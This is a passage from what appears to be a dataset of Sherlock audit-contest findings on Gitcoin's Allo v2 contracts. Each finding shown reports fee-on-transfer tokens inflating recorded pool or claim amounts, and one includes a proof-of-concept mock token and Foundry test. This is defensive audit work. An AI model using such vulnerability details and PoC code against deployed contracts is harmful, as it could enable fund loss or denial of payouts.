strategy \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L155\n, but in the cases of Fee-on-transfer tokens, less amount then `amountAfterFee` will actually arrive at the strategy, since every transfer takes some fees away. So in that situation the `poolAmount` will be inflated and not actually true, since the real `balanceOf` the strategy contract will be increased by less than `amountAfterFee`.\n## Impact\nImpact is a medium one since it messes the accuracy of the pools and also these tokens are not compatible as it is stated.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516-L517\n## Tool used\n\nManual Review\n\n## Recommendation\nIf you intend to work with Fee-on-transfer tokens then you should check the `balanceOf` the strategy contract before the transfer and after the transfer, and call `increasePoolAmount` on the strategy contract with the difference of those two values.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/736.md"}} +{"title":"`DonationVotingMerkleDistributionVaultStrategy::claim` doesn't support fee-on-transfer tokens","severity":"medium","body":"Bumpy Charcoal Squid\n\nmedium\n\n# `DonationVotingMerkleDistributionVaultStrategy::claim` doesn't support fee-on-transfer tokens\n\n`DonationVotingMerkleDistributionVaultStrategy::claim` doesn't support fee-on-transfer tokens\n\n## Vulnerability Detail\n\n- `DonationVotingMerkleDistributionVaultStrategy.sol` strategy contract implements claiming mechanism; where the allocator sends tokens to the contract to be claimed later by the intended recipient: \n [DonationVotingMerkleDistributionVaultStrategy::\\_afterAllocate/Line 135](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L135)\n\n ```solidity\n claims[recipientId][token] += amount;\n ```\n\n- But if the funded token is of fee-on-transfer type where it deducts a fee on each transfer; then the saved amount to be claimed by the recipient would be greter than the amount sent by the allocator.\n\n## Impact\n\nSo for this type of tokens; if all recipients tried to claim their funds, there would be insufficient funds and the last user will not be able to claim/withdraw his funded tokens.\n\n## Code Snippet\n\n[DonationVotingMerkleDistributionVaultStrategy::\\_afterAllocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L107-L136)\n\n```solidity\n function _afterAllocate(bytes memory _data, address _sender) internal override {\n // Decode the '_data' to get the recipientId, amount and token\n (address recipientId, Permit2Data memory p2Data) = abi.decode(_data, (address, Permit2Data));\n\n // Get the token address\n address token = p2Data.permit.permitted.token;\n uint256 amount = p2Data.permit.permitted.amount;\n\n if (token == NATIVE) {\n if (msg.value < amount) {\n revert AMOUNT_MISMATCH();\n }\n SafeTransferLib.safeTransferETH(address(this), amount);\n } else {\n PERMIT2.permitTransferFrom(\n // The permit message.\n p2Data.permit,\n // The transfer recipient and amount.\n ISignatureTransfer.SignatureTransferDetails({to: address(this), requestedAmount: amount}),\n // Owner of the tokens and signer of the message.\n _sender,\n // The packed signature that was the result of signing\n // the EIP712 hash of `_permit`.\n p2Data.signature\n );\n }\n\n // Update the total payout amount for the claim\n claims[recipientId][token] += amount;\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nEither prevent using fee-on-transfer tokens, or add a mechanism to handle it as checking the balance of the contract before and after and assign the difference as the claimable amount by the recipient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/724.md"}} +{"title":"M-02 Internal accounting and contract balance of strategy goes out of synch during `_fundPool` for Fee-On-Transfer tokens.","severity":"medium","body":"Mammoth Aquamarine Wallaby\n\nmedium\n\n# M-02 Internal accounting and contract balance of strategy goes out of synch during `_fundPool` for Fee-On-Transfer tokens.\nThe reported balance of the internal accounting varialbe and the actual account balance will by out of sync when using Fee-on-transfer tokens\n\n## Vulnerability Detail\nIn the Allo contract when a pool is created or funded the `_fundPool` function is called. The final call before the function emits the `PoolFunded` event is a call to the strategy to set the pool amount. The value of the variable that is set is based on either the `_amount` parameter sent in to the call as below\n\n```solidity\nuint256 amountAfterFee = _amount;\n```\n, or a calculation of the value minus the fees percentage.\n```solidity\nfeeAmount = (_amount * percentFee) / getFeeDenominator();\namountAfterFee -= feeAmount;\n```\nThis final value of `amountAfterFee` is sent into the call `_strategy.increasePoolAmount(amountAfterFee);` however it does not take into account that value was lost during the transfer which is inherent to Fee-on-transfer tokens.\n\n## Impact\nThis will cause the a misalignment in the actual balance and reported balance in the strategy contract.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\n## PoC\nCopy/Paste to a file called FeeERC20.sol in the `core` directory:\n```solidity\n// SPDX-License-Identifier: UNLICENSED\n// slither-disable-next-line solc-version\npragma solidity ^0.8.17;\n\nimport \"../../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol\";\nimport \"forge-std/console.sol\";\n\n\ncontract FeeERC20 is ERC20 {\n uint256 public constant INITIAL_SUPPLY = 1_000_000_000e18;\n address _owner;\n uint256 public fees;\n\n event Minted(uint256 fees);\n\n constructor(uint256 _fees) ERC20(\"FeeToken\", \"FT\") {\n _owner = msg.sender;\n fees = _fees;\n emit Minted(fees);\n }\n //modifier\n modifier onlyOwner() {\n require(msg.sender==_owner,\"Not the Owner!\");\n _;\n }\n\n function mint(address account, uint256 amount) external onlyOwner {\n _mint(account, amount);\n }\n\n function transfer(address to,uint256 amount) public override returns (bool){\n uint256 newAmount = amount - fees;\n return super.transfer(to,newAmount);\n }\n\n function transferFrom(address src,address to,uint256 amount) public override returns (bool){\n //console.log(\"Starting transferFrom\");\n //console.log(\"msg.sender is : \",msg.sender);\n //console.log(\"src is : \",src);\n //console.log(\"to is : \",to);\n //console.log(\"amount is : \", amount);\n uint256 newAmount = amount - fees;\n //console.log(\"newAmount is : \", newAmount);\n //console.log(\"Allowance is : \", allowance(src,to));\n return super.transferFrom(src,to,newAmount);\n //console.log(\"Completed transferFrom\");\n }\n \n\n}\n```\nAdd the import to the test contract \n```solidity\nimport \"../../../contracts/core/FeeERC20.sol\";\n```\nCopy/Paste this test function in the `Allo.t.sol` file in the `test/foundry/core` directory:\n ```solidity\n function test_createPoolFeeOnTransfer() public {\n allo().addToCloneableStrategies(strategy);\n FeeERC20 feeToken = new FeeERC20(0.001 ether);\n feeToken.mint(pool_admin(),1000 ether);\n vm.startPrank(pool_admin());\n feeToken.approve(address(allo()), 100 ether);\n console.log(\"[+] Create a pool with the token set to be the FeeToken\");\n uint256 poolId = allo().createPool(poolProfile_id(), strategy, \"0x\", address(feeToken), 100 ether, metadata, pool_managers());\n console.log(\"[+] The amount reported by the Strategy as the balance : \",MockStrategy(allo().getStrategy(poolId)).getPoolAmount());\n console.log(\"[+] The Actual FeeToken balance of strategy : \",feeToken.balanceOf(allo().getStrategy(poolId)));\n IAllo.Pool memory pool = allo().getPool(poolId);\n vm.stopPrank();\n assertEq(pool.profileId, poolProfile_id());\n assertNotEq(address(pool.strategy), address(strategy));\n }\n ```\n \n Run the forge test\n ```text\n forge test --match-contract AlloTest --match-test test_createPoolFeeOnTransfer -vv\n ```\n### Output \n(Shows the misaligned balances)\n\n```text\n[PASS] test_createPoolFeeOnTransfer() (gas: 1326910)\nLogs:\n [+] Create a pool with the token set to be the FeeToken\n [+] The amount reported by the Strategy as the balance : 99000000000000000000\n [+] The Actual FeeToken balance of strategy : 98999000000000000000\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.74ms\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider changing the call to the `_strategy.increasePoolAmount` function using the actual balance of the strategy contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/714.md"}} +{"title":"`Allo.sol`: when fund the fee-on-transfer token, the `poolAmount` may not match the actual token amount.","severity":"medium","body":"Best Porcelain Wolverine\n\nmedium\n\n# `Allo.sol`: when fund the fee-on-transfer token, the `poolAmount` may not match the actual token amount.\nThe `poolAmount` can be different from the actual token amount when funding fee-on-transfer tokens into the pool.\n\n## Vulnerability Detail\n\nIn `_fundPool`, `msg.sender` transfers amount tokens to the `_strategy`. However, if the token is a fee-on-transfer token, the `_strategy` may receive less token than the amount transferred. \nAfter the token transfer, it directly adds `amountAfterFee` to the `poolAmount`, leading to the `poolAmount` not matching the actual amount in the pool.\n\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n ...\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n ...\n }\n```\n\n```solidity\n function increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n }\n```\n\n## Impact\nThis vulnerability may cause revert when distributing tokens to recipients due to the poolAmount not matching the expected amount.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L516-L517\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo ensure the poolAmount matches the actual token amount in the pool, it is recommended to check the token balance before and after the transfer when updating the poolAmount.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/690.md"}} +{"title":"Fee on transfer token is not supported properly.","severity":"medium","body":"Tart Citron Platypus\n\nmedium\n\n# Fee on transfer token is not supported properly.\n\n## Vulnerability Detail\n\nPer the docs: https://audits.sherlock.xyz/contests/109\n\n> Are there any FEE-ON-TRANSFER tokens interacting with the smart contracts?\n> \n> Yes. When funding a pool on Allo.sol\n\nThe strategy assumes that it has received `_amount` and added it to `poolAmount`. However, due to the existence of a transfer fee, the actual amount of `_token` received is less than `_amount`, and `poolAmount` is an inflated value compared to the actual amount.\n\nAs a result, the calculated amount based on `poolAmount` is also higher than it should be.\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L70-L81\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L150-L157\n\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/667.md"}} +{"title":"Fee-On-Transfer tokens are not supported by Allo contract","severity":"medium","body":"Alert Bronze Seal\n\nmedium\n\n# Fee-On-Transfer tokens are not supported by Allo contract\n\n- [Sherlock documentation](https://github.com/sherlock-audit/2023-09-Gitcoin-Proxy1967#q-are-there-any-fee-on-transfer-tokens-interacting-with-the-smart-contracts) on the project says that when funding a pool on Allo.sol the Fee-On-Transfer tokens are expected to interact with the contracts, however the code in the contract do not support them.\n- Some tokens that take a transfer fee are `STA` and `PAXG`, while `USDT` and `USDC` have the possibility to take a transfer fee in the future, but do not currently.\n\n## Vulnerability Detail\n\n- `Allo._fundPool()` is used to fund a pool with tokens, but it does not support fee-on-transfer tokens, even though the documentation states that it does.\n- When `_fundPool` calls `_transferAmountFrom` on [L#513](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L513) a small amount of fee will be transferred to pay the fee, and then the rest of the token will be transferred to the treasury.\n- Same thing happens when `_transferAmountFrom` is called on [L#516](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516) except the rest of the token is transferred to the strategy (less amount than expected).\n\n## Impact\n\n- First `_transferAmountFrom` on [L#513](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L513) will cause the protocol to get less fee than required\n- Second `_transferAmountFrom` on [L#516](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516) will cause the pool to get less amount funded than wanted\n- Lastly the `increasePoolAmount` on [L#517](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517) will incorrectly increase the pool amount\n\n## Code Snippet\n\n- [Allo._fundPool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520)\n\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\nL513 _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\nL516 _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\nL517 _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\n## Tool used\n\nManual review\n\n## Recommendation\n\nCompare the balance before and after the `_transferAmountFrom` call.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/634.md"}} +{"title":"Possible Denial of Service (DoS) on Fee-on-Transfer Token","severity":"medium","body":"Modern Pearl Kangaroo\n\nmedium\n\n# Possible Denial of Service (DoS) on Fee-on-Transfer Token\n\nAccording to the context Q&A section on the contest page:\n\n> Are there any FEE-ON-TRANSFER tokens interacting with the smart contracts?\n\n> Yes. When funding a pool on Allo.sol\n\nThe `Allo._fundPool()` function may not support deflationary tokens. After transferring the tokens into the pool, the total amount of tokens in the pool will be less than `Base.poolAmount` due to fees on transfer.\n\n## Vulnerability Detail\n\nIn the `Allo._fundPool()` function, this function is used to transfer the amount to the distribution strategy and increase the pool amount at lines 516 and 517, respectively.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n}\n```\n\nWhen funding the fee-on-transfer token to the pool, the token burns or diverts a small portion, causing the pool to end up with slightly less than what the sender initially provided.\n\nBy funding the deflationary token to the pool, the `BaseStrategy.increasePoolAmount()` function increases the value of the `poolAmount` variable based on `amountAfterFee` which is slightly greater than the sender gave to the pool, resulting in the `poolAmount` being slightly greater than the total amount of tokens in the pool.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153-L157\n\n```solidity\nfunction increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n}\n```\n\nThis may result in a DOS during the distribution phrase. For example:\n\nThe `QVBaseStrategy._getPayout()` function is used to calculate the payout amount for distributing the tokens based on the `poolAmount` and the percentage of total votes.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\n\n```solidity\nfunction _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n{\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n}\n```\n\nThe `QVBaseStrategy._distribute()` function is used to distribute the tokens to the recipients by calculating the amount of payout at line 448.\n\nHowever, since funding the pool using a fee-on-transfer token can result in the `poolAmount` being slightly greater than the balance of tokens in the pool, the `_distribute()` function may revert due to the transfer amount exceeding the balance at line 456.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465\n\n```solidity\nfunction _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n onlyAfterAllocation\n{\n uint256 payoutLength = _recipientIds.length;\n for (uint256 i; i < payoutLength;) {\n address recipientId = _recipientIds[i];\n Recipient storage recipient = recipients[recipientId];\n\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n uint256 amount = payout.amount;\n\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n paidOut[recipientId] = true;\n\n emit Distributed(recipientId, recipient.recipientAddress, amount, _sender);\n unchecked {\n ++i;\n }\n }\n}\n```\n\n## Impact\n\nPossible DOS when funding the pool with a fee-on-transfer token.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516-L517\n\n## Tool used\n\nVisual Studio Code / Manual Review\n\n## Recommendation\n\nWe suggest increasing the pool amount according to the value of the tokens after the transfer rather than the value before the token transfer.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/610.md"}} +{"title":"Accounting Issues due to Fee on Transfer Tokens","severity":"medium","body":"Micro Graphite Worm\n\nfalse\n\n# Accounting Issues due to Fee on Transfer Tokens\nThe webpage of the audit states that \n> Fee on transfer tokens will be allowed on the Allo protocol and watsons will be able to submit issues concerning this.\n\nThe protocol doesnā€™t take measures to guard themselves from accounting issues that could rise due to fee on transfer tokens. \n## Vulnerability Detail\nFee on transfer tokens take a fee when being transferred and the actual amount inputted isnā€™t the actual amount seen by the contract thereby wrong values will be deducted from underlying state variables.\n## Impact\nThis could cause serious accounting issues when fee on transfer tokens are used. Causing huge loss to the protocol. I say itā€™s a medium.\n## Code Snippet\nWhen funding Allo.sol\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502\n\n## Tool used\n\nManual Review\n\n## Recommendation\nWhen tokens are being transferred the actual amount gotten should be calculated and accounted for in the respective state variables.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/604.md"}} +{"title":"Incompatibility with Fee-on-Transfer tokens could cause Strategy to run out of funds and fail to fulfill eligible claims","severity":"medium","body":"Huge Coal Copperhead\n\nhigh\n\n# Incompatibility with Fee-on-Transfer tokens could cause Strategy to run out of funds and fail to fulfill eligible claims\n\nThe contest page specifically says that the Allo protocol \"support all ERC20 tokens\". However, the accounting treatment of the funded token amount is not compatible with fee-on-transfer and rebasing tokens. In the case of fee-on-transfer tokens, the amount being recorded could be higher than the actual amount the Strategy contract holds due to the fee being charged during the transfer. The implication is that some eligible claimants would be unable to receive their eligible token amount, as the Strategy contract could run out of token to distribute. \n\n## Vulnerability Detail\n\nIn line 516-517 of the `Allo` contract, `amountAfterFee` is transferred from the `msg.sender` to the `_strategy` contract, and the same `amountAfterFee` is being recorded in the `_strategy` contract as the amount of token it holds. If the `_token` charges a fee on transfer, then the actual amount of token the `_strategy` contract holds would be less than `amountAfterFee`, causing a discrepancy between the recorded amount and actual amount. \n\n```\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n```\n\n\n## Impact\n\nThe above shows that the contract is actually not compatible with fee-on-transfer tokens, despite its intended design to support all ERC20 tokens. The impact is that the `_strategy` contract could run out of tokens to distribute prematurely, and some eligible parties would be unable to claim the token they are eligible for. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516-L517\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIf fee-on-transfer token needs to be supported, then the `amountAfterFee` in line 517 needs to be the incremental `_token` balance at the `_strategy` contract before and after the token transfer in line 516.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/567.md"}} +{"title":"Some tokens have a transfer fee, which leads to a discrepancy between the amount of tokens recorded in the strategy contract and the actual amount of tokens received","severity":"medium","body":"Ambitious Lemonade Chipmunk\n\nmedium\n\n# Some tokens have a transfer fee, which leads to a discrepancy between the amount of tokens recorded in the strategy contract and the actual amount of tokens received\nSome tokens have a transfer fee, which leads to a discrepancy between the amount of tokens recorded in the strategy contract and the actual amount of tokens received.\n\n## Vulnerability Detail\nAccording to [this link](https://github.com/d-xo/weird-erc20#fee-on-transfer), some tokens have a transfer fee. In such cases, the amount of received tokens is less than what the sender initially sent. Therefore, on line 517, the value of amountAfterFee cannot be used directly.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516-L517\n\n## Impact\nThe token amount recorded in the strategy contract may be greater than the actual amount received.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516-L517\n\n## Tool used\n\nManual Review\n\n## Recommendation\nRecord the amounts of tokens in the strategy contract both before and after sending tokens to the strategy contract. The difference between these two amounts is the actual amount of tokens received by the strategy contract","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/565.md"}} +{"title":"Fee-on-transfer tokens will cause incorrect accounting on strategy contracts","severity":"medium","body":"Proper Fossilized Sardine\n\nhigh\n\n# Fee-on-transfer tokens will cause incorrect accounting on strategy contracts\n\nThe protocol has stated that it expects to interact with all ERC20 tokens. However, in `Allo::_fundPool()` the contract is incorrectly increasing the strategy's `poolAmount` for tokens that implement fee-on-transfer mechanisms.\n\n## Vulnerability Detail\n\nSee below for the `_fundPool()` function in `Allo.sol`:\n\n```Solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n // @audit - increase pool amount with amountAfterFee which is incorrect for Fee on Transfer tokens\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n}\n```\nThe amount the strategy will actually receive for fee-on-transfer tokens will actually be less than `amountAfterFee`. This will cause the value of `poolAmount` in the strategy contract to be incorrect. The result will be that `poolAmount` will be higher than the actual amount the strategy holds.\n\n## Impact\n\nThis will cause recipients in different pools (or strategies) to not get their payout amount. \n\nThis issue has been labeled as High. The likelihood of a fee-on-transfer token being used can be considered to be high or medium given it's decided by the user, and the impact is high since some recipients would not receive their share of the payout.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCheck the balance of `_strategy` before and after the transfer, and use the difference between the two as the actual transferred value.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/556.md"}} +{"title":"Recipient cannot always claim expected donation amount from a vault","severity":"medium","body":"Dandy Arctic Buffalo\n\nmedium\n\n# Recipient cannot always claim expected donation amount from a vault\nFunding recipients cannot claim the amount expected from a `DonationVotingMerkleDistributionVaultStrategy` pool if they receive donation of a token has a fee on transfer. The vault will hold less (by the fee amount) than is recorded in the contract as claimable by them.\n\n## Vulnerability Detail\n**First, why is this issue valid despite Sherlock rules excluding non-standard ERC20 behavior?**\nWhile the Sherlock rules currently exclude \"issues related to tokens with non-standard behaviors\", t[he rules also state that](https://docs.sherlock.xyz/audits/judging/judging#iii.-some-standards-observed) \"In case of conflict between information in the README, vs Sherlock rules, **the README overrides Sherlock rules**.\" And the contest README specifically says that all ERC20 with non-standard behavior are supported:\n\n> \"Q: Do you expect to use any of the following tokens with non-standard behaviour with the smart contracts?\n> Yes as we support all ERC20 tokens.\"\n\nDonationVotingMerkleDistributionVaultStrategy contracts store donation amounts in [a `claims` mapping](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L54C18-L54C18) per recipient and per donated token. This is intended to also represent all the amounts claimable by registered recipients. However, in the case of donated [ERC20 tokens with a non-zero transfer fee](https://github.com/d-xo/weird-erc20#fee-on-transfer), a donated amount is not claimable in full since the transfer from the donor to the vault will reduce the amount that can be claimed by the recipient.\n\n## Impact\nRecipients cannot claim the amount expected from a vault in a DonationVotingMerkleDistributionVaultStrategy pool when a donated token has a transfer fee.\n\n## Code Snippet\n[DonationVotingMerkleDistributionVaultStrategy._afterAllocate() function](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L104-L136) - the last line contains the faulty assumption.\n```javascript\n /// @notice After allocation hook to store the allocated tokens in the vault\n /// @param _data The encoded recipientId, amount and token\n /// @param _sender The sender of the allocation\n function _afterAllocate(bytes memory _data, address _sender) internal override {\n // Decode the '_data' to get the recipientId, amount and token\n (address recipientId, Permit2Data memory p2Data) = abi.decode(_data, (address, Permit2Data));\n\n // Get the token address\n address token = p2Data.permit.permitted.token;\n uint256 amount = p2Data.permit.permitted.amount;\n\n if (token == NATIVE) {\n if (msg.value < amount) {\n revert AMOUNT_MISMATCH();\n }\n SafeTransferLib.safeTransferETH(address(this), amount);\n } else {\n PERMIT2.permitTransferFrom(\n // The permit message.\n p2Data.permit,\n // The transfer recipient and amount.\n ISignatureTransfer.SignatureTransferDetails({to: address(this), requestedAmount: amount}),\n // Owner of the tokens and signer of the message.\n _sender,\n // The packed signature that was the result of signing\n // the EIP712 hash of `_permit`.\n p2Data.signature\n );\n }\n\n // Update the total payout amount for the claim\n claims[recipientId][token] += amount;\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIn the `_afterAllocate()` cited above, compare vault's balance of the token being donated before and after calling `permitTransferFrom()`. If it is lower than the donated `amount`, assume this difference is a transfer fee and reduce the claimable amount by the fee.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/547.md"}} +{"title":"Pool's strategies does not support `fee on transfer` tokens causing an error in the counting system","severity":"medium","body":"Brief Mahogany 